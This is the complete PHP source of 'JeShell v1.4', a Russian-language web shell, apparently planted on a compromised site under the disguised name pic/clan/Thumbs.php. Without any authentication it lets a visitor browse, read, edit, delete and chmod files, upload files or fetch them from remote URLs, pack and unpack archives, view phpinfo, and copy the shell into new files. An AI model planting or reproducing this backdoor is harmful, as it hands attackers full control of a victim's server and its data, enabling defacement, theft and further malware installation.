Файл: sumerki.mobi/sumerki.mobi/pic/clan/Thumbs.php
Строк: 373
<?php
/* Описание JeShell v1.4
** Небольшой шелл, полная модификация шелла delorean.
** Переписан весь код, добавлены новые функции.
** Автор скрипта: Juse
*/
@ob_start();
error_reporting(0);
/////////////////////////////////
//////////////Картинки///////////
/////////////////////////////////
if(isset($_GET['img'])) {
$img = array(
"dir" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAVdJREFUeNqkk7tOAkEUhv9ZliUiIcZoiEYbCgtewNLGxM7agsICG0sLO6PxAdDCkncw0cbCF7DBGBNqIyZmAbkswjLu7hzPQGJEwLgyycnkzMz/zbnMCCLCNMMs5dfzPOfG7BXYjtg644SZg7sBQJjxvbXsWYK81temiMyg+nC7XyteaveEzZkUgSidb7ynNzOzUPLbagTCWMZbWchq8frjlwwKZuD5pNwmqFcZBlhNzC+lY4vZ4xis5OjN1hweL3Zzpi89QHZB7dehA2TYIMuGckqAER0FxFcReAqmdH00nhyoTu/HEe232V7Gxm4kmlAaQLJHqa3Tf7Xw+f4QXIMA5Hfh21fh+p/ahtaaOgxy61CtcigAJeuDFHQhSNYZ0ggHYE2/iMrnFNxaeABrtJYBBKUB0gkFUH0AMSBQ7Eb5YSyE7EEUWitudlYmfaa/jIKY9jt/CjAAEh2nzNn9StAAAAAASUVORK5CYII=",
"up" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAeRJREFUeNpi/P//PwM2oDnvgiMzI+NGEPvv//+h15MMdmJTx4RNUGPOmWA2xn8bGxzkOVucFTiB7NVAsWiiDFCdeTKOg4lhQbmzCtdXEX6W94K8LLVualz8bEwzgHI56OoZkb2gPO1IjggXW3uJqxbnQ05O5os//zOAZHXYGRk0//z6N3H3te8PP35vuZtl04FhgMLk/RWSvBw15Z76nNeY2JjO//jH8PYv0ACgtBAzI4MuByODIdPf/3P2Xf1++eWnvge5jrVwA2T7d2mri/CezPUw4Dr/l5nx4vd/DO///Gf4h+RPPqAh2kC/WXAw/F9x8MqPIw/e+D0udNsDd4FU99YKIJUMxOIgvq6XDc83RmZGkCwPUPOlTQc+Q837CsRznpV6g13AADIAHYu1rX8Sf+3DP5tLH/9bXfz4P/7Wl/9AsU/Y1LJgi5q/f34xcIMU/P7H8A/oBG6g/0Fi2AB2A/7+nrNs1dYUkNdB/BsQ4TnEG/Dnd8qCjGCpd/+YwGEgyc7MEDV5BcjAIqIM+PfnN8Pdz78Z7gNdDfKCGg8rWIwkL9TNWwH3AgPJXvj7J2VZXrzUuz+MEC9wMjOE9M4lwQt//zDc+fSL4f53SGJS52MFixHtgn///s6pmr2AKC8ABBgAvMr0PsFT0X4AAAAASUVORK5CYII=",
"fl" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAVVJREFUeNpi/P//PwMlgAVErN+3rw9IpRCpZw4QFwU6OSEM+Pv3b4qXgwMvMbq3HTgAsqgIxQV//v5l+Af0yo5Dh1AUe9jZYRjw789PHsXPWz6dXrV2jmnYjCKIAX/+MPz994/B1cYGRTFIDMMABgZGI5dA3jO71oJdAjbg9+/fYMX7jh3D63wnKyuG379+Mfz88I7h37+/CC/8hrrA3sICrwEgNb//AC37+QVowD+kMIC64MipU3gNsDEzY/gLVAv2yl8sLrA0MSHCBSCN/0Exh2nAqXPn8BpgZmQEVgt2AXIYwGLB2MCAoAv+/P2D6QKQAaB0cP7iRbwGGOrrg9WCDEAJg7/QhKSvp4fXAJAaiEZG1FgAcuYsWb48hZnhLw8zCzMjA54Mpi3+C0hyooYBNG0XGf7f+8nByYP399f3BHIEJ6oLYACYtefs37GdlFzJABBgAO1l0VUId3gdAAAAAElFTkSuQmCC",
"bak" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAlwSFlzAAAuIQAALiEBB1v8/wAAA4hJREFUOE9VU21MW2UUPu97v3oLt6XIh7QF1g42oAyFbLCszAl+JItkRgXMWPzIXIyxbsaYLDNNVvtP/aPZliV+TCTjh+GPSqIubi7psi0MUATXjgUBGSCltEBLofTe3vf13q0qnh9vznNy3vP1nANbpaOjjyGEoCyE59/0lh867m9p8/gaNPivXffLqv8ZAfSPmOpau/fcS4WOqiP2MmdtnshJipqR5xdjcxPjwW9Ko1OfnD3rT/zjnw3wABw76bOvb2u+sK9x79NSbg6w8UWg5mLgtXxmA4CsUPg2MDRG7/74XPcH/im9EkZ/QqFaon9Ouw5dde/e17iQ5hVxrAfEOz1o3PQMZFQCsSSlQEFuedRuG10Rn2wus/cePFik4JqaoF4FWrE191Q46itHliAt3L3CdTkuYCyZYDlCEMvi+z4JGYSJsCK37W90zRY4TnR2dqrY7/dn2k+f6zLbmlqnE6Dkz90UXrZ+Sk31NSiWENAaZWFVRhBXGJTMYLokcwxBiDiqarv0oPenWdH2zseypWqbtDgCHtt55HRXI8gYQV4MQ356EhzKLbAlr4N14wYyLgygFWkP1oLwRRb+a/bou97yKc7pqoqFkMfRjSvdjwBRWMAaIe5nzeBWNrQZEwBtBGBEMNB/D24G41BcynNU5cyYsLA9RU3GvMgwqiwVEIhORHEuUD4PgC0AMFkBLE6A/B0Ahkoaka00w+TQ6Nr6usgwM4zrQKtlnu48AiWPGQcD09BUcg8Zbbs0VnkY/XkM+r9PQWQmDpHpKCjRBRj+HZOo7Sm0ND9yq/f00c/YCg5uD6aWwxTKLLH6N6jn82585tUhVFDXCn+EJfgq+TqUpTmNpjUqzq4isdhAk2oKb8yGvtTnxwQCAXVX8/78O8mdTzSVZJSwfQ/7Xf8cPVD0C0qsIxje3E0LyyXgpFwkFhWkucI8PvTbtauX/YdP+nw+Fvf19TF1/OQZnBkNXgoJwnbYSEuPv0jfv9xABwaXKBhEUNOE5FCqpFIg3Bj6daJ69forWnIaCrmoRmMH7j7/1uZht/3SOBFbgtGHbRYKiLPuQJNkL7JIPFIRg/9cTjEzE9d+aohfeeGLj/xz+vrrG/y/Wzju85nGFOfbs1DdzjDmUoNB4Im6meSVv0ZL5NsXf/jwRO9W/wd6VraeqC7HvF7Ha+/56jynTj2UNYHertY3zkJNAP4GM2V7xU/PXwIAAAAASUVORK5CYII=",
"upl" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAC4jAAAuIwF4pT92AAADp0lEQVR4nD1TXUxTZxj+KNvoJmTZxS525W7m1ZJdshuzLVmyTBetk20anXYLiNbaltPSc3r+f3paECukgRZEsMR2YcuGmLENaIaW+EM0Q4EgzsYVJiROiaNsg6an53t3DioXb96b73m/53nf50GiKKKNEgQkbHTeokicVVKbECmcRgTBI8F5+DXVXVNzzMHEXS5lxu2mCUkSEM8LFUgwgOYAQTAH8RZRDiKaCyLe59wSZ3d/PtK1I5Ud25m9kdr1zw/fX1sfHp7EDNMc4TjWxL38DCwgSRLLWSGEOJ+zKqnu9N9J7/u98JcbIF8HsG6HeyM10N42UEylMiDLbT0MQxtYyWrSQLIkIYbhUDv36Rezv+zJ4tUGgH/3A763rVQct2p6tlq/n96Bm+Xu4tneNKhqxwBNB4xP5QoUVGQLSVFWr1uMz458BQAu0KatRe23Sl2/Ww360gGMlw/gh5ntEGYjWrTjZwiH45cCAQrJsvwiamxsfIljTw1fzszD9UG5WFqp1/GjLwGvejB+aIPS9FbQJ6ogf+UdaKK5UqhpAEJq5wxFUWWKopQhkvSXcezJnrHMfT3RelJb+eMY6E8+wtptK+iTrwDMvgXw5wcAc29DO2PXKbYfq8GuRZKkKo0BCIXDKnK5iDcSiaF8sm9Mv/7tZzrk38cwXw049wn8ffNDuDv4HlyObYeQz4VdDWdAFLvW/P7AVkWRkbnJCpZlEMuG2weHZuGM2lC88+PHMHL2IHQKtcC5/HC8LgSH7afB/nULrq9v0QOBTvD56HcVRULGFfgXZFlCHk/jtmRqtBCNDuo+VwQ7nDHsInqAZM6Bop6Hjo4LEItdgEOH5KLHE8UEwR6UZQE9N1KZsRRDTvyn88lL2EO0aWO/3sI3b2RhZnoRcrkVePDgP6Pn8dGjTUW7PYw9Hj4oSRzaMJLhBYsoCsjnY/f092fA6YxoU1PzMDp6GxKJUby8XMALC0/Mrre0JNdtNhocDnmC4+inDMwyZXi9/qpY7LslgohBX9+QNje3iGtrm/Vc7pFWKOglwyQwPj4FNlvD4/r6QC/HceVoM0yiYWVjmTwf6Q4Gv4ETJ07B2loBLl68Aqura7C09BjS6WsLra3d50iSedNkbGAsm1kwZJQ/lcHtYpjO0t69RO7q1cnCxMSthWi0t4eipN1eL/kqTdNmbszwWUzcJoNngUKBAPv6kSOe/QzDbnE4yH11dc5Kw61IUUQUCgVN+1qNt5bnmP8B3FJFRK3G9LEAAAAASUVORK5CYII=",
);
header("Content-type: image/gif");
exit(base64_decode($img[$_GET[img]]));
}
if (isset($_GET['php'])) {
phpinfo();
exit();
}
/////////////////////////////////
//////////////Функции////////////
/////////////////////////////////
function AddZipFile($folder)
{
global $zip;
$files = scandir($folder);
$do = array();
foreach ($files as $file) {
if (($file == '.') || ($file == '..')) continue;
$item = $folder . '/' . $file;
if (is_dir ($item)) {
AddZipFile($item);
} else if(is_file($item)) {
echo 'ADD: '.$item.'<br />';
$zip->addFromString($item, @file_get_contents($item));
}
}
}
function highlight_code($code)
{
$code = stripslashes($code);
if(!strpos($code,"<?") && substr($code,0,2)!="<?") {
$code = trim($code);
}
$code = trim($code);
return highlight_string($code,true);
}
function remove($path)
{
return is_file($path)? @unlink($path): array_map('removeDir',glob($path."/*"))==@rmdir($path);
}
function head($path) {
global $d;
if (!$d) $d = trim($path);
echo '<hr /><a href="'.$_SERVER['PHP_SELF'].'?d='. realpath(dirname($d)) .'"><img src="'.$_SERVER['PHP_SELF'].'?img=up" alt="" /> На уровень вверх</a><br />
<a href="'.$_SERVER['PHP_SELF'].'?do=upld&d='.realpath($d).'"><img src="'.$_SERVER['PHP_SELF'].'?img=upl" alt="" /> Загрузить файл</a><br />
Создать <a href="'.$_SERVER['PHP_SELF'].'?do=cf&d='.realpath($d).'">файл</a> | <a href="'.$_SERVER['PHP_SELF'].'?do=cd&d='.realpath($d).'">папку</a><br />
Каталог: '.$d.' <font color="#FF00F0">('.(decoct(fileperms(realpath($d))) % 1000).')</font> '.(is_readable(realpath($d)) ? '<b title="Доступен для чтения">r</b>' : '<del title="Не доступен для чтения">r</del>') .'/'. (is_writable(realpath($d)) ? '<b title="Доступен для записи">w</b>' : '<del title="Не доступен для записи">w</del>').'/'.(is_executable(realpath($d)) ? '<b title="Исполняемый">x</b>' : '<del title="Не исполняемый">x</del>').'<br />
<font color="#FF0000"><strong><form><input name="d" value="'.$d.'" /> <input type="submit" value="Перейти"></form></strong></font>
<a href="'.$_SERVER['PHP_SELF'].'?php">PHP Info ('.phpversion().')</a><br />';
if (function_exists('ini_get')) {
echo '<b>Disable functions: '.(ini_get('disable_functions') ? ini_get('disable_functions') : '<small>No value</small>').'<br />
Open basedir: '.(ini_get('open_basedir') ? ini_get('open_basedir') : '<small>No value</small>').'</b>';
}
}
/////////////////////////////////
//////////////Установки//////////
/////////////////////////////////
ini_set('memory_limit', '999M');
ini_set("max_execution_time", 0);
/////////////////////////////////
//////////////Шапка//////////////
/////////////////////////////////
header('Content-type: text/html; charset=utf-8');
header("Cache-Control: no-cache, must-revalidate");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
$HeadTime = microtime(true);
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>'.($_GET['d'] ? basename($_GET['d']) : basename(realpath('.'))).'</title>
<style type="text/css">
body {
font-family: Arial;
color:#FF0000;
background-color:#FFFFCC;
}
a {
color:#00AA00;
text-decoration:none;
}
a:hover {
color: red;
position: relative;
top: 1px; left: 1px;
}
a:visited {
color: 006600;
}
b {
color:#008800;
font-style:bold;
}
table {
background-color: #FFFFFF;
border: 1px solid #FF8800;
}
td{
margin: 0px;
padding: 0px;
border: 1px solid #FF8800;
background-color: #FFCE52;
color: #f00;
}
td:hover{
margin: 0px;
padding: 0px;
border: 1px solid #FF8800;
background-color: #FF9E52;
color: #f00;
}
td:hover{
background-color: #FF9E52;
}
.vo{
margin: 1px;
padding: 10px;
border: 1px solid #FF8800;
background-color: #FFCE52;
color: #f00;
}
.code{
margin: 1px;
padding: 10px;
border: 1px solid #FF8800;
background-color: #F9F9F9;
color: #f00;
}
</style>
</head>
<body>';
/////////////////////////////////
/////////////////////////////////
switch($_GET['do']) {
default:
$d = empty($_GET['d']) ? realpath('.') : realpath($_GET['d']);
head($d);
echo '<br /><font color="#FF0000">Папки:</font><table>';
if (is_file($d)) {
header("location: ".$_SERVER['PHP_SELF']."?do=edit&d=".$d);
exit();
}
$dir = opendir($d);
while ($file = readdir($dir)) {
if (is_dir($d.'/'.$file)) {
if (($file == ".") || ($file == "..")) continue;
echo '<tr><td width="100%"> <a href="'.$_SERVER['PHP_SELF'].'?d='.$d.'/'.$file.'/"><img src="'.$_SERVER['PHP_SELF'].'?img=dir" alt="" /> '.$file.'</a></td>
<td>DIR</td>
<td>'.date('d.m.y-H:i', filectime(realpath($d.'/'.$file))).'</td>
<td style="font-size:80%;">'.(is_readable(realpath($d.'/'.$file)) ? '<b title="Доступен для чтения">r</b>' : '<del title="Не доступен для чтения">r</del>') . (is_writable(realpath($d.'/'.$file)) ? '<b title="Доступен для записи">w</b>' : '<del title="Не доступен для записи">w</del>').(is_executable(realpath($d.'/'.$file)) ? '<b title="Исполняемый">x</b>' : '<del title="Не исполняемый">x</del>').'</td>
<td><a href="'.$_SERVER['PHP_SELF'].'?do=azip&d='.$d.'/'.$file.'"><font color="#0000FF">[Запаковать]</font></a></td>
<td><a href="'.$_SERVER['PHP_SELF'].'?do=chmod&d='.$d.'/'.$file.'/">'.(decoct(fileperms($d.'/'.$file)) % 1000).'</a></td>
<td><a onclick="return confirm('Действительно удалить папку '.$file.'?')" href="'.$_SERVER['PHP_SELF'].'?do=unlink&d='.$d.'/'.$file.'/"><font color="#FF0000">[Удалить]</font></a></td>
<td><a href="'.$_SERVER['PHP_SELF'].'?do=rename&d='.$d.'/'.$file.'"><font color="#000000">[Переименовать]</font></a></td>
</tr>';
}
}
$dir = opendir($d);
echo '</table><hr />
<font color="#FF0000">Файлы:</font>
<table>';
while ($file = readdir($dir)) {
if(is_file($d.'/'.$file)) {
$ext = strtolower(substr($file, 1 + strrpos($file, ".")));
echo '<tr><td width="100%"> <a href="'.$_SERVER['PHP_SELF'].'?do=v&d='.$d.'/'.$file.'"><img src="'.$_SERVER['PHP_SELF'].'?img=fl" alt="" /> '.$file.'</a>
'.($ext == 'zip' ? '<small><a href="'.$_SERVER['PHP_SELF'].'?do=zip&d='.$d.'/'.$file.'"><font color="#0000FF">[Распаковать]</font></a></small>' : NULL).'
</td>
<td>'.date('d.m.y-H:i', filectime(realpath($d.'/'.$file))).'</td>
<td style="font-size:80%;">'.(is_readable(realpath($d.'/'.$file)) ? '<b title="Доступен для чтения">r</b>' : '<del title="Не доступен для чтения">r</del>') . (is_writable(realpath($d.'/'.$file)) ? '<b title="Доступен для записи">w</b>' : '<del title="Не доступен для записи">w</del>').(is_executable(realpath($d.'/'.$file)) ? '<b title="Исполняемый">x</b>' : '<del title="Не исполняемый">x</del>').'</td>
<td>' . round(filesize("$d/$file")/1024, 1) . 'кб</td>
<td><a href="'.$_SERVER['PHP_SELF'].'?do=chmod&d='.$d.'/'.$file.'"><font color="#FF3300">'.(decoct(fileperms($d.'/'.$file)) % 1000).'</a></td>
<td><a href="'.$_SERVER['PHP_SELF'].'?do=edit&d='.$d.'/'.$file.'"><font color="#0000FF">[Редактировать]</font></a></td>
<td><a onclick="return confirm('Действительно удалить файл '.$file.'')" href="'.$_SERVER['PHP_SELF'].'?do=unlink&d='.$d.'/'.$file.'"><font color="#FF0000">[Удалить]</font></a></td>
<td><a href="'.$_SERVER['PHP_SELF'].'?do=rename&d='.$d.'/'.$file.'"><font color="#000000">[Переименовать]</font></a></td>
<td><a href="'.$_SERVER['PHP_SELF'].'?do=down&d='.$d.'/'.$file.'"><font color="#00FF00">[Скачать]</font></a></td>
</tr>';
}
}
closedir($dir);
echo '</table>';
break;
/////////////////////////////////
/////////Переименование//////////
/////////////////////////////////
case 'rename':
head($_GET['d']);
if(isset($_GET['d'])) {
echo '<br /><b><font color="#FF0000">Переименование</font></b><hr />
<div class="vo">
<form action="'.$_SERVER['PHP_SELF'].'?do=rename&rename='.$_GET['d'].'" method="post">
<input size="100" name="new_name" value="'.$_GET['d'].'" /><br /><br />
<input type="submit" value="Переименовать" />
</form>
</div>';
}elseif(isset($_GET['rename'])) {
echo '<br /><strong><font color="#FF0000">Переименование</font></strong><hr />';
if (@rename($_GET['rename'], $_POST['new_name'])) {
header("location: ".$_SERVER['PHP_SELF']."?d=".dirname($_GET['rename']));
} else echo '<strong>Ошибка переименования!</strong>';
}
break;
/////////////////////////////////
/////////Upload файлов///////////
/////////////////////////////////
case 'upld':
head($_GET['d']);
if (isset($_GET['d'])) {
echo '<br /><b><font color="#FF0000">Аплоад файлов</font></b><hr />
<div class="vo">
Максимальный размер файла: <b>'.ini_get('upload_max_filesize').' MB</b><br />
<form action="'.$_SERVER['PHP_SELF'].'?do=upld&upload='.$_GET['d'].'" method="post" enctype="multipart/form-data">
Файл:<br /> <input type="file" name="file" /><br />
HTTP:<br /> <input name="http" value="http://" /><br />
Сохранить как: <br /> <input type="text" name="name" value="name.php" /><br />
<input type="submit" value="Загрузить" />
</form>
</div>';
} elseif(isset($_GET['upload'])) {
$name = trim($_POST['name']);
if ($name) {
if ($_POST['http'] != 'http://') {
if(copy($_POST['http'], $_GET['upload'].'/'.$name)){
header("location: ".$_SERVER['PHP_SELF']."?d=".$_GET['upload']);
} else header("location: ".$_SERVER['PHP_SELF']."?do=upld&d=".$_GET['upload']);
} else {
if(copy($_FILES["file"]["tmp_name"], $_GET['upload'].'/'.$name)){
header("location: ".$_SERVER['PHP_SELF']."?d=".$_GET['upload']);
} else header("location: ".$_SERVER['PHP_SELF']."?do=upld&d=".$_GET['upload']);
}
} else header("location: ".$_SERVER['PHP_SELF']."?do=upld&d=".$_GET['upload']);
}
break;
/////////////////////////////////
////////////Download/////////////
/////////////////////////////////
case 'down':
if (isset($_GET['d'])) {
$file = file_get_contents($_GET['d']);
$name = explode('/', $_GET['d']);
$name = $name[count($name)-1];
header('Content-type: text/plain');
header('Content-disposition: attachment; filename="'.$name.'"');
exit($file);
}
break;
/////////////////////////////////
/////////////Права //////////////
/////////////////////////////////
case 'chmod':
head($_GET['d']);
if(isset($_GET['d'])) {
echo '<br /><b><font color="#FF0000">Права доступа</font></b><hr />
<div class="vo">
<form action="'.$_SERVER['PHP_SELF'].'?do=chmod&chmod='.$_GET['d'].'" method="post">
<input size="100" name="chmod" value="'.(decoct(fileperms(realpath($_GET['d']))) % 1000).'" /><br /><br />
<input type="submit" value="Установить" />
</form>
</div>';
}elseif(isset($_GET['chmod'])) {
echo '<strong><font color="#FF0000">Переименование</font></strong><hr />';
if (@chmod($_GET['chmod'], @base_convert($_POST['chmod'], 8, 10))) {
header("location: ".$_SERVER['PHP_SELF']."?d=".dirname($_GET['chmod']));
} else echo '<strong>Ошибка установки прав доступа!</strong>';
}
break;
/////////////////////////////////
///////Удаление//////////////////
/////////////////////////////////
case 'unlink':
head($_GET['d']);
if(isset($_GET['d'])){
if (remove($_GET['d'])) {
header("location: ".$_SERVER['PHP_SELF']."?d=".dirname($_GET['d']));
}
}
break;
/////////////////////////////////
//////////Чтение файла///////////
/////////////////////////////////
case 'v':
head($_GET['d']);
if(isset($_GET['d'])) {
echo '<strong><font color="#FF0000">Чтение файла</font></strong><hr />';
$file = file_get_contents($_GET['d']);
if($file) {
echo '<div class="code">'.highlight_code($file).'</div>';
} else { echo 'Ошибка чтения файла!'; }
}
break;
/////////////////////////////////
//////Редактирование файла///////
/////////////////////////////////
case 'edit':
head($_GET['d']);
if(isset($_GET['d'])) {
echo '<br /><b><font color="#FF0000">Редактирование файла</font></b><hr />';
$file = file_get_contents($_GET['d']);
$file = htmlspecialchars($file);
echo '<div class="vo">
<form action="'.$_SERVER['PHP_SELF'].'?do=edit&edit='.$_GET['d'].'" method="post">
<textarea cols="180" rows="30" name="text" WRAP="OFF">' . $file . '</textarea><br />
Chmod: <input name="chmod" value="0777" /> <input type="submit" value="Редактировать" />
</form></div>';
}elseif(isset($_GET['edit'])) {
echo '<br /><b><font color="#FF0000">Редактирование файла</font></b><hr />';
$fp = fopen($_GET['edit'],"w");
fputs($fp,$_POST['text']);
fclose($fp);
@chmod($_GET['chmod'], @base_convert($_POST['chmod'], 8, 10));
if($fp) header("location: ".$_SERVER['PHP_SELF']."?do=edit&d=".$_GET['edit']);
if(!$fp) echo 'Ошибка записи файла!';
}
break;
/////////////////////////////////
/////////Создание файла//////////
/////////////////////////////////
case 'cf':
head($_GET['d']);
if (isset($_GET['d'])) {
echo '<br /><b><font color="#FF0000">Создание файла</font></b><hr />
<div class="vo"><form action="'.$_SERVER['PHP_SELF'].'?do=cf&cf='.$_GET['d'].'" method="post">
Название:<br /> <input name="name" value="file.php"><br />
Содержимое:<br />
<textarea cols="180" rows="30" name="put" WRAP="OFF">'.htmlspecialchars(file_get_contents($_SERVER["SCRIPT_FILENAME"])).'</textarea><br />
<input type="submit" value="Создать!"/>
</form></div>';
} elseif(isset($_GET['cf'])) {
echo '<br /><b><font color="#FF0000">Создание файла</font></b><hr />';
$fp = fopen($_GET['cf'].'/'.$_POST['name'],"w");
fputs($fp, $_POST['put']);
fclose($fp);
@chmod($_GET['cf'].'/'.$_POST['name'], @base_convert(777, 8, 10));
header("location: ".$_SERVER['PHP_SELF']."?d=".$_GET['cf']);
}
break;
/////////////////////////////////
/////////Создание Папки//////////
/////////////////////////////////
case 'cd':
head($_GET['d']);
if (isset($_GET['d'])) {
echo '<br /><b><font color="#FF0000">Создание папки</font></b><hr />
<div class="vo"><form action="'.$_SERVER['PHP_SELF'].'?do=cd&cd='.$_GET['d'].'" method="post">
<input name="name" value="dir'.rand(111,999).'" /><br />
<input type="submit" value="Создать!" />
</form></div>';
} elseif(isset($_GET['cd'])) {
if ($_POST['name']) {
mkdir($_GET['cd'].'/'.$_POST['name']);
@chmod($_GET['cd'].'/'.$_POST['name'], @base_convert(777, 8, 10));
}
header("location: ".$_SERVER['PHP_SELF']."?d=".$_GET['cd']);
}
break;
/////////////////////////////////
////////Распаковка архива////////
/////////////////////////////////
case 'zip':
head($_GET['d']);
if (isset($_GET['d'])) {
echo '<br /><b><font color="#FF0000">Распаковка архива</font></b><hr />
<div class="vo"><form action="'.$_SERVER['PHP_SELF'].'?do=zip&cd='.$_GET['d'].'" method="post">
Архив: '.basename($_GET['d']).'<br />
Распаковать в: <br /><input name="path" value="'.dirname($_GET['d']).'" /><br />
<input type="submit" value="Распаковать!" />
</form></div>';
} elseif(isset($_GET['cd'])) {
$zip = new ZipArchive;
if ($zip->open($_GET['cd']) === TRUE) {
$zip->extractTo(dirname($_POST['path']));
$zip->close();
}
header("location: ".$_SERVER['PHP_SELF']."?d=".dirname($_GET['cd']));
}
break;
/////////////////////////////////
////////Запаковка архива ////////
/////////////////////////////////
case 'azip':
head($_GET['d']);
if (isset($_GET['d'])) {
echo '<br /><b><font color="#FF0000">Распаковка архива</font></b><hr />
<div class="vo"><form action="'.$_SERVER['PHP_SELF'].'?do=azip&cd='.$_GET['d'].'" method="post">
Имя архива: <br /><input name="name" size="100" value="'.str_replace('\', '/', $_GET['d']).'/'.basename($_GET['d']).'.zip" /><br />
<input type="submit" value="Запаковать!" />
</form></div>';
} elseif(isset($_GET['cd'])) {
chdir($_GET['cd']);
echo '<br />Запаковка<br />';
$zip = new ZipArchive;
$zip->open($_POST['name'], ZipArchive::CREATE);
AddZipFile('.');
$zip->close();
@chmod($_POST['name'], @base_convert(777, 8, 10));
}
break;
}
/////////////////////////////////
//////////////Ноги///////////////
/////////////////////////////////
echo '<br /><div class="vo"><a href="'.$_SERVER['PHP_SELF'].'?"><img src="'.$_SERVER['PHP_SELF'].'?img=bak" alt="" /> В начало</a>
<div style="float:right;">Made by Juse</a></div>
<br />Генерация: '.round(microtime(true) - $HeadTime,4).' сек.
</div>
</body>
</html>';